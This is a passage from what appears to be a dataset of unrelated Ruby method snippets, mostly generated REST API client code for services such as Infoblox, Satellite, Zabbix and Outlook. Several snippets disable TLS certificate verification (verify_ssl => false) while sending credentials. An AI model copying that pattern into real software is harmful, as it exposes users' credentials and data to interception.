end\n return data, response.code, response.headers\n end", "def call_api(http_method, path, opts = {})\n request = build_request(http_method, path, opts)\n response = request.run\n\n if @config.debugging\n @config.logger.debug \"HTTP response body ~BEGIN~\\n#{response.body}\\n~END~\\n\"\n end\n\n unless response.success?\n if response.timed_out?\n fail ApiError.new('Connection timed out')\n elsif response.code == 0\n # Errors from libcurl will be made visible here\n fail ApiError.new(:code => 0,\n :message => response.return_message)\n else\n fail ApiError.new(:code => response.code,\n :response_headers => response.headers,\n :response_body => response.body),\n response.status_message\n end\n end\n\n if opts[:return_type]\n data = deserialize(response, opts[:return_type])\n else\n data = nil\n end\n return data, response.code, response.headers\n end", "def call(env)\n status, headers, body = @app.call(env)\n header = {} if headers.nil?\n headers['Content-Type'] = 'application/json' if headers['Content-Type'].nil? \n body = ::JSON.generate(body) if json_response?(headers)\n [status, headers, body]\n end", "def attach_rest_api_log(file_name, response)\n content = ApiHtmlBuilder.new.build_html response\n file_name = file_name.tr(' ', '_').delete('|').tr('/', '_')[0..60]\n file_source = File.open(\"#{config.attachment_dir}/#{file_name}#{ALLURE_TYPE_HTML}\", 'w+') do |file|\n file.write(\"#{content}\\n\\n\")\n file\n end\n Allure.add_attachment(name: file_name, source: file_source, type: 'text/html')\n end", "def call\n render_endpoint_request do\n benchmark, response = make_benchmarked_request\n render json: { benchmark: benchmark, status: response.status, body: response.body }, status: 200\n end\n end", "def post_recording_jobs_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RecordingApi.post_recording_jobs ...\"\n end\n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling RecordingApi.post_recording_jobs\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/recording/jobs\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RecordingJob')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RecordingApi#post_recording_jobs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def convert\n $stdout.puts \"# #{path_file}\"\n\n cassette.requests.each_with_index do |request, idx|\n WebMocker.output do |params, response|\n params.body = request.body\n params.method = request.method\n params.address = request.address\n\n # TODO: It can be optionable\n params.headers = request.headers.each_with_object({}) do |(key, value), accepted_headers|\n if %w[Content-Type Authorization].include?(key)\n accepted_headers[key] = value.first\n end\n\n accepted_headers\n end.to_s # enforce #to_s for preventing default STDOUT formatting of Hash\n\n params.body = body_for(request)\n\n response.body = cassette.response[idx].body\n end\n end\n end", "def exec_api_download(json_req, download_path)\n begin\n req = sign_request(json_req)\n File.open(download_path, \"w\") do |io|\n return HttpChannel.new(api_uri).execute_download(req) { |d| io << d; d.length }\n end\n rescue Curl::Err::CurlError => ex\n return JsonResponse.new(\"fail\", ex.message)\n end\n end", "def download_csv\n query = params[:query]\n company_id = params[:company_id]\n file = Operation.create_csv(query, company_id) \n send_file file\n end", "def execute!\n my_temp_file = Tempfile.new(\"jobler_test\")\n\n create_result!(name: \"my-file\", temp_file: my_temp_file)\n end", "def call\n @response = connection.get(url)\n if status == 200\n context.file = save!\n else\n context.fail! message: \"Download failed\"\n end\n end", "def hit_api_local\n # Authentication info\n pass = ENV['stugov_api_user']\n priv = ENV['stugov_api_pass']\n # Our base URL hosted on stugov's server\n base_url = ENV['stugov_api_base_url']\n\n # We make a sha256 hash of this in binary format, then base64 encode that\n digest = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new(\"sha256\"), priv, pass)).chomp\n\n url = base_url + \"?resource=\" + @resource + @url_options\n return send_request(url, digest)\n end", "def API_RESPONSE(status, body)\n JSON.generate({:status => status, :body => body});\nend", "def http_call(payload); end", "def upload_events(body, opts = {}, &callback)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EventsApi.upload_events ...\"\n end\n if @retryAfterTimestamp > Time.now.to_i\n return @latestResponse\n end\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling EventsApi.upload_events\" if body.nil?\n # resource path\n local_var_path = \"/events\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/html', 'application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = ApiClient.object_to_json(body)\n auth_names = ['basic']\n if (callback.nil?)\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EventsApi#upload_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n thread = data, status_code, headers\n else\n thread = @api_client.call_api(:POST, local_var_path,\n {\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names\n }) { |data, status_code, headers|\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EventsApi#upload_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n yield data, status_code, headers\n }\n end\n if thread[1] == 429\n @latestResponse = thread\n @retryAfterTimestamp = Time.now.to_i + thread[3][\"Retry-After\"]\n end\n return thread\n end", "def query_api(path, params, method, body)\n response = make_request(path, params, method, body)\n\n raise_unknown_resource(path) if response.code == \"404\"\n raise_authentication_error(path) if response.code == \"401\"\n raise_internal_server_error if response.code == \"500\"\n\n # Unzip the response data, or just read it in directly\n # if the API responds without gzipping.\n response_body = nil\n begin\n inflated_data = Zlib::GzipReader.new(StringIO.new(response.body))\n response_body = inflated_data.read\n rescue Zlib::GzipFile::Error\n response_body = response.body\n end\n\n response_body\n end", "def call(env)\n # Grab the request\n request = Rack::Request.new(env) \n \n # Create a new template for the given path\n # and compile it\n \n template = Template.new(Template.template_for_request(request))\n template.request = request\n output = template.compile\n\n # Build a rack response\n # Rack::Response.new.finish do |response|\n # response.write output\n # end \n [200, { 'Content-Type' => 'text/html'}, output]\n end", "def call\n @called = true\n handleResponse @stubs\n end", "def stream\n 10_000_000.times do |i|\n response.stream.write \"This is line#{i}\\n\"\n end\n ensure\n response.stream.close\n end", "def get_binary\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/response/binary'\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.get _query_url, headers: _headers\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the binary response\n _response = @http_client.execute_as_binary(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n return _response.raw_body\n end", "def call_rest(action, url, headers, ref, body = nil)\n begin\n # change url based on if we have a ref or not\n if ref.nil?\n url = url\n else\n url = url + \"/\" + ref\n end\n\n # set params for api call\n params = {\n :method => action,\n :url => url,\n :verify_ssl => false,\n :headers => headers\n }\n\n # generate payload data\n params[:payload] = body if body\n log(:info, \"call_rest: Request URL: #{url}\")\n log(:info, \"call_rest: Request Action: #{action}\")\n log(:info, \"call_rest: Request Headers: #{headers.inspect}\")\n log(:info, \"call_rest: Request Payload: #{params[:payload]}\")\n\n # execute the request\n RestClient::Request.new(params).execute\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"call_rest: #{err}. Returning nil.\")\n return nil\n end\nend", "def call_rest(action, url, auth_cert, auth_key, ref, content_type, body = nil)\n begin\n # change url based on if we have a ref or not\n if ref.nil?\n url = url\n else\n url = url + \"/\" + ref\n end\n\n # set params for api call\n params = {\n :method => action,\n :url => url,\n :ssl_client_cert => OpenSSL::X509::Certificate.new(auth_cert),\n :ssl_client_key => OpenSSL::PKey::RSA.new(auth_key),\n :verify_ssl => false,\n :headers => { :content_type => content_type, :accept => content_type }\n }\n\n # generate payload data\n content_type == :json ? (params[:payload] = JSON.generate(body) if body) : (params[:payload] = body if body)\n log(:info, \"call_rest: Request: #{url} action: #{action} payload: #{params[:payload]}\")\n\n # execute the request\n RestClient::Request.new(params).execute\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"call_rest: #{err}. Returning nil.\")\n return nil\n end\nend", "def make_api_call(method, url, token, params = nil, payload = {}, custom_headers=nil)\n\n conn_params = {\n url: @api_host % { version: @version }\n }\n\n if @enable_fiddler\n conn_params[:proxy] = 'http://127.0.0.1:8888'\n conn_params[:ssl] = {:verify => false}\n end\n\n conn = Faraday.new(conn_params) do |faraday|\n # Uses the default Net::HTTP adapter\n faraday.adapter Faraday.default_adapter\n faraday.response :logger if @debug\n end\n\n conn.headers = {\n 'Authorization' => \"Bearer #{token}\",\n 'Accept' => \"application/json\",\n\n # Client instrumentation\n # See https://msdn.microsoft.com/EN-US/library/office/dn720380(v=exchg.150).aspx\n 'User-Agent' => @user_agent,\n 'client-request-id' => SecureRandom.uuid,\n 'return-client-request-id' => \"true\"\n }\n\n if custom_headers && custom_headers.class == Hash\n conn.headers = conn.headers.merge( custom_headers )\n end\n \n case method.upcase\n when \"GET\"\n response = conn.get do |request|\n request.url url, params\n end\n when \"POST\"\n conn.headers['Content-Type'] = \"application/json\"\n response = conn.post do |request|\n request.url url, params\n request.body = JSON.dump(payload)\n end\n when \"PATCH\"\n conn.headers['Content-Type'] = \"application/json\"\n response = conn.patch do |request|\n request.url url, params\n request.body = JSON.dump(payload)\n end\n when \"DELETE\"\n response = conn.delete do |request|\n request.url url, params\n end\n end\n\n if response.status >= 300\n error_info = if response.body.empty?\n ''\n else\n begin\n JSON.parse( response.body )\n rescue JSON::ParserError => _e\n response.body\n end\n end\n return JSON.dump({\n 'ruby_outlook_error' => response.status,\n 'ruby_outlook_response' => error_info })\n end\n\n response.body\n end", "def result_download_traces_with_http_info(job_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SystemsApi.result_download_traces ...'\n end\n # verify the required parameter 'job_id' is set\n if @api_client.config.client_side_validation && job_id.nil?\n fail ArgumentError, \"Missing the required parameter 'job_id' when calling SystemsApi.result_download_traces\"\n end\n # resource path\n local_var_path = '/systems/download_traces'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'job_id'] = job_id\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/tar+gzip', 'queued', 'working', 'failed', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SystemsApi#result_download_traces\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def save_image(file)\n client = Appwrite::Client.new()\n\n client\n .set_endpoint(ENV['APPWRITE_ENDPOINT']) # Your API Endpoint\n .set_project(ENV['APPWRITE_FUNCTION_PROJECT_ID']) # Your project ID available by default\n .set_key(ENV['APPWRITE_API_KEY']) # Your secret API key\n\n storage = Appwrite::Storage.new(client)\n\n response = storage.create_file(file: Appwrite::File.new(file));\n\n puts response\nend", "def call_satellite(action, url, user, password, ref, content_type, body = nil)\n begin\n # change url based on if we have a ref or not\n if ref.nil?\n url = url\n else\n url = url + \"/\" + ref\n end\n\n # set params for api call\n params = {\n :method => action,\n :url => url,\n :user => user,\n :password => password,\n :verify_ssl => false,\n :headers => { :content_type => content_type, :accept => content_type }\n }\n\n # generate payload data\n content_type == :json ? (params[:payload] = JSON.generate(body) if body) : (params[:payload] = body if body)\n log(:info, \"Satellite6 Request: #{url} action: #{action} payload: #{params[:payload]}\")\n\n # execute the request\n RestClient::Request.new(params).execute\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"call_satellite: #{err}. Returning nil.\")\n return nil\n end\nend", "def convert_document_xlsx_to_csv_with_http_info(input_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConvertDocumentApi.convert_document_xlsx_to_csv ...'\n end\n # verify the required parameter 'input_file' is set\n if @api_client.config.client_side_validation && input_file.nil?\n fail ArgumentError, \"Missing the required parameter 'input_file' when calling ConvertDocumentApi.convert_document_xlsx_to_csv\"\n end\n # resource path\n local_var_path = '/convert/xlsx/to/csv'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'outputEncoding'] = opts[:'output_encoding'] if !opts[:'output_encoding'].nil?\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = input_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConvertDocumentApi#convert_document_xlsx_to_csv\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def v2_measurements_request_csv_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MeasurementsApi.v2_measurements_request_csv_post ...\"\n end\n # resource path\n local_var_path = \"/v2/measurements/request_csv\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['quantimodo_oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Integer')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeasurementsApi#v2_measurements_request_csv_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def write_body(response)\n body = nil\n begin\n if @body.respond_to?(:call) && ! @body.respond_to?(:each)\n @body.call response.getOutputStream\n elsif @body.respond_to?(:to_path) # send_file\n send_file @body.to_path, response\n elsif @body.respond_to?(:to_channel)\n body = @body.to_channel # so that we close the channel\n transfer_channel body, response.getOutputStream\n elsif @body.respond_to?(:to_inputstream)\n body = @body.to_inputstream # so that we close the stream\n body = Channels.newChannel(body) # closing the channel closes the stream\n transfer_channel body, response.getOutputStream\n elsif @body.respond_to?(:body_parts) && @body.body_parts.respond_to?(:to_channel)\n # ActionDispatch::Response \"raw\" body access in case it's a File\n body = @body.body_parts.to_channel # so that we close the channel\n transfer_channel body, response.getOutputStream\n else\n if dechunk?\n write_body_dechunked response.getOutputStream\n else\n output_stream = response.getOutputStream\n # 1.8 has a String#each method but 1.9 does not :\n method = @body.respond_to?(:each_line) ? :each_line : :each\n @body.send(method) do |line|\n output_stream.write(line.to_java_bytes)\n output_stream.flush if flush?\n end\n end\n end\n rescue LocalJumpError\n # HACK: deal with objects that don't comply with Rack specification\n @body = [ @body.to_s ]\n retry\n rescue NativeException => e\n # Don't needlessly raise errors because of client abort exceptions\n raise unless e.cause.toString =~ /(clientabortexception|broken pipe)/i\n ensure\n @body.close if @body.respond_to?(:close)\n body && body.close rescue nil\n end\n end", "def fake_exec_api(agent, operation, params)\n call = Call.new(agent, operation, params)\n stub = API.stubs.shift\n assert stub, \"Unexpected API call (no response stub set)\\n#{call}\"\n assert stub.test(call), \"Stub didn't match API call:\\n#{call}\"\n\n res = stub.response\n res = res.to_json_response if res.kind_of? CommandResponse\n logger.debug res\n return res\n end", "def call\n resource = base_resource\n\n response = (\n case request_method\n when :get\n resource.get fill do |req|\n (req.body = source) if source\n end\n when :head\n resource.head fill\n when :delete\n resource.delete(fill) do |req|\n req.body = source if source\n end\n when :post\n resource.post(fill, source)\n when :put\n resource.put(fill, source)\n end\n )\n \n response\n end", "def stream\n add_headers\n add_body_type_headers\n send_request\n end", "def call_api(**rest_options)\n @retry.do do\n res = RestClient::Request.execute(**rest_options)\n json = res && !res.empty? ? ::JSON.parse(res.to_s) : nil\n call_api_response(res) if respond_to?(:call_api_response)\n [res, json]\n end\n end", "def post_analytics_reporting_exports_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AnalyticsApi.post_analytics_reporting_exports ...\"\n end\n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling AnalyticsApi.post_analytics_reporting_exports\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/analytics/reporting/exports\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ReportingExportJobResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AnalyticsApi#post_analytics_reporting_exports\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def stream_a_recording_file_with_http_info(recording_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.stream_a_recording_file ...'\n end\n\n # verify the required parameter 'recording_id' is set\n if @api_client.config.client_side_validation && recording_id.nil?\n fail ArgumentError, \"Missing the required parameter 'recording_id' when calling DefaultApi.stream_a_recording_file\"\n end\n # resource path\n local_var_path = '/Accounts/{accountId}/Recordings/{recordingId}/Stream'.sub('{' + 'accountId' + '}', CGI.escape(account_id.to_s)).sub('{' + 'recordingId' + '}', CGI.escape(recording_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['audio/x-wav'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'File'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['fc']\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.stream_a_recording_file\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#stream_a_recording_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def response_body=(_arg0); end", "def get_output file, req_path=nil, headers=[], body=[], params=[]\n if file.nil?\n out = Oaf::Util.get_default_response\n elsif File.executable? file\n env = Oaf::Util.prepare_environment req_path, headers, params, body\n out = Oaf::Util.run_buffered File.dirname(file), env, file\n else\n out = File.open(file).read\n end\n out\n end", "def call(env)\n request_id = id_generator.call\n logger.info formatter.message_from_request_body(env, request_id)\n app.call(env).on_complete do |env|\n logger.info formatter.message_from_response_body(env, request_id)\n end\n end", "def post\n @response_body = make_request(\"#{api_url}#{endpoint}\", request_body.to_json)\n puts \"GLIMR POST: #{endpoint} - #{request_body.to_json}\" if ENV.key?('GLIMR_API_DEBUG')\n end", "def call\n conn = http_setup\n res = set_up_response(method.to_sym, uri, conn, headers ,body)\n\n response = HttpResponse.new(res)\n response.uri = uri\n raise response.error if !response.success? && !@has_retry_filter\n response\n end", "def download_to_temp_file\n source_key = self.effective_key\n ext = self.format&.extensions&.first || \"tmp\"\n tempfile = Tempfile.new([\"#{self.class}-download_to_temp_file-#{self.id}\", \".#{ext}\"])\n begin\n ObjectSpace.undefine_finalizer(tempfile)\n PersistentStore.instance.get_object(key: source_key,\n response_target: tempfile.path)\n rescue => e\n tempfile.unlink\n raise e\n end\n tempfile\n end", "def upload_submission(sub_info)\n uri = URI.parse(TARGET_API)\n http = Net::HTTP.new(uri.host, uri.port)\n\n req = Net::HTTP::Post.new(\"/ontologies/#{sub_info['ontology']['acronym']}/submissions\")\n req['Content-Type'] = 'application/json'\n req['Authorization'] = \"apikey token=#{TARGET_APIKEY}\"\n\n # Check if the source BioPortal is pulling the ontology from an URL\n # If yes then we will pull the ontology from this place (allow auto update of the ontology when the ontology is changed in its source URL)\n if sub_info['pullLocation'].nil?\n pull_location = \"#{sub_info['ontology']['links']['download']}?apikey=#{SOURCE_APIKEY}\"\n else\n pull_location = sub_info['pullLocation']\n end\n\n # Extract contacts\n contacts = []\n sub_info['contact'].each do |contact|\n contacts.push({'name': contact['name'],'email': contact['email']})\n end\n\n # Build the json body\n # hasOntologyLanguage options: OWL, UMLS, SKOS, OBO\n # status: alpha, beta, production, retired\n req.body = {\n 'contact': contacts,\n 'hasOntologyLanguage': sub_info['hasOntologyLanguage'],\n 'released': sub_info['released'],\n 'ontology': \"#{TARGET_API}/ontologies/#{sub_info['ontology']['acronym']}\",\n 'description': sub_info['description'],\n 'status': sub_info['status'],\n 'version': sub_info['version'],\n 'homepage': sub_info['homepage'],\n 'documentation': sub_info['documentation'],\n 'publication': sub_info['publication'],\n 'naturalLanguage': sub_info['naturalLanguage'],\n 'pullLocation': pull_location\n }.to_json\n\n #puts req.body.to_s\n response = http.start do |http|\n http.request(req)\n end\n\n return response\nend", "def do_request(json_obj,truncate_length=5000)\n redirects=0\n begin # This is here for redirects\n http=select_http_obj\n response = nil\n# http.set_debug_output($stderr) #Uncomment to see low level HTTP debug\n headers={'Content-Type'=>'application/json-rpc',\n 'User-Agent'=>'Zbx Ruby CLI'}\n debug(4,:msg=>\"Sending: #{json_obj}\")\n response = http.post(@url.path, json_obj,headers)\n debug(4,:msg=>\"Response Code: #{response.code}\")\n debug(4,:var=>response.body,:msg=>\"Response Body\",:truncate=>truncate_length)\n case response.code.to_i\n when 301\n puts \"Redirecting to #{response['location']}\"\n @url=URI.parse(response['location'])\n\t\t\t\t raise Redirect\n when 500\n raise ZbxAPI_GeneralError.new(\"Zabbix server returned an internal error\\n Call: #{json_obj}\", :retry=>true)\n end\n\n @id+=1 # increment the ID value for the API call\n\n # check return code and throw exception for error checking\n resp = JSON.parse(response.body) #parse the JSON Object so we can use it\n if !resp[\"error\"].nil?\n errcode=resp[\"error\"][\"code\"].to_i\n case errcode\n when -32602 then\n raise ZbxAPI_ExceptionLoginPermission.new(resp[\"error\"],:error_code=>errcode,:retry=>true)\n when -32500 then\n raise ZbxAPI_ExceptionPermissionError.new(resp[\"error\"],:error_code=>errcode,:retry=>true)\n else\n puts \"other error\"\n raise ZbxAPI_GeneralError, resp[\"error\"]\n end\n end\n\n\t\t return resp\n\n\t\trescue Redirect\n\t\t redirects+=1\n\t\t\tretry if redirects<=5\n\t\t\traise ZbxAPI_GeneralError, \"Too many redirects\"\n rescue NoMethodError\n raise ZbxAPI_GeneralError.new(\"Unable to connect to #{@url.host}: \\\"#{e}\\\"\", :retry=>false)\n end\n end", "def put_pdf_in_request_to_te_x_with_http_info(out_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.put_pdf_in_request_to_te_x ...\"\n end\n # verify the required parameter 'out_path' is set\n if @api_client.config.client_side_validation && out_path.nil?\n fail ArgumentError, \"Missing the required parameter 'out_path' when calling PdfApi.put_pdf_in_request_to_te_x\"\n end\n # resource path\n local_var_path = \"/pdf/convert/tex\"\n\n # query parameters\n query_params = {}\n query_params[:'outPath'] = out_path\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n post_body = opts[:'file'] if !opts[:'file'].nil?\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/octet-stream'])\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AsposeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#put_pdf_in_request_to_te_x\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def output_create_with_http_info(payload, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OutputApi.output_create ...'\n end\n # verify the required parameter 'payload' is set\n if @api_client.config.client_side_validation && payload.nil?\n fail ArgumentError, \"Missing the required parameter 'payload' when calling OutputApi.output_create\"\n end\n # resource path\n local_var_path = '/outputs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.feedpushr.output.v1+json', 'application/vnd.goa.error'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/xml', 'application/gob', 'application/x-gob'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(payload) \n\n # return_type\n return_type = opts[:return_type] || 'Output' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OutputApi#output_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def send_upload(apikey, external_url = nil, security = nil, options = nil)\n base = \"#{FilestackConfig::CDN_URL}/#{apikey}/#{build_store_task(options)}\"\n\n if security\n policy = security.policy\n signature = security.signature\n base = \"#{base}/security=s:#{signature},p:#{policy}\"\n end\n\n response = Typhoeus.post(\"#{base}/#{external_url}\", headers: FilestackConfig::HEADERS)\n\n if response.code == 200\n begin\n response_body = JSON.parse(response.body)\n return response_body\n rescue\n raise response.body\n end\n end\n raise response.body\n end", "def call_infoblox(action, ref, content_type, return_type, body = nil, return_fields = nil)\n # set url\n if return_fields.nil?\n url = \"#{@base_url}\" + \"#{ref}\"\n else\n url = \"#{@base_url}\" + \"#{ref}\" + \"\\?_return_fields\"\n end\n \n # set params for api call\n params = {\n :method => action,\n :url => url,\n :verify_ssl => false,\n :headers => {\n :content_type => content_type,\n :accept => return_type,\n :authorization => \"Basic #{Base64.strict_encode64(\"#{@username}:#{@password}\")}\"\n }\n }\n \n # generate payload data\n content_type == :json ? (params[:payload] = JSON.generate(body) if body) : (params[:payload] = body if body)\n log(:info, \"Calling -> Infoblox: #{url} action: #{action} payload: #{params[:payload]}\")\n response = RestClient::Request.new(params).execute\n raise \"Failure <- Infoblox Response: 